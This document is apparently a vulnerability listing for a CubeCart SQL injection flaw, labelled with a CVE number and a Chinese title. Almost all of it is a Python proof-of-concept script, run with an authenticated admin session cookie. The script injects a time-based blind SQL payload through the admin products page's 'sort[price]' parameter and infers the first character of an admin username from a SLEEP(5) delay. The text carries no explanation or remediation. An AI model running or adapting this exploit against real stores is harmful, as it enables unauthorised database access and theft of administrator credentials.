CVE-2026-39358 CubeCart SQL注入漏洞

import requests import time # Target configuration target_url = "http://target-site.com/admin.php" endpoint = "?_g=products" # Attacker's authenticated session cookie cookies = { "CCAdminID": "valid_admin_session_id_here" } # Malicious payload for Time-Based Blind SQL Injection # This payload attempts to extract the first character of the admin username # It checks if the first character is 'a'. If true, it delays the response by 5 seconds. payload = { "sort[price]": "CASE WHEN (SELECT SUBSTRING(username,1,1) FROM CubeCart_admin_users LIMIT 1)='a' THEN (SELECT SLEEP(5)) ELSE 1 END" } print(f"Sending payload to {target_url}{endpoint}...") start_time = time.time() response = requests.get(target_url + endpoint, params=payload, cookies=cookies) end_time = time.time() response_time = end_time - start_time if response_time > 5: print(f"[+] Vulnerability Confirmed! Response time: {response_time:.2f}s (Condition was true)") else: print(f"[-] Condition false or not vulnerable. Response time: {response_time:.2f}s")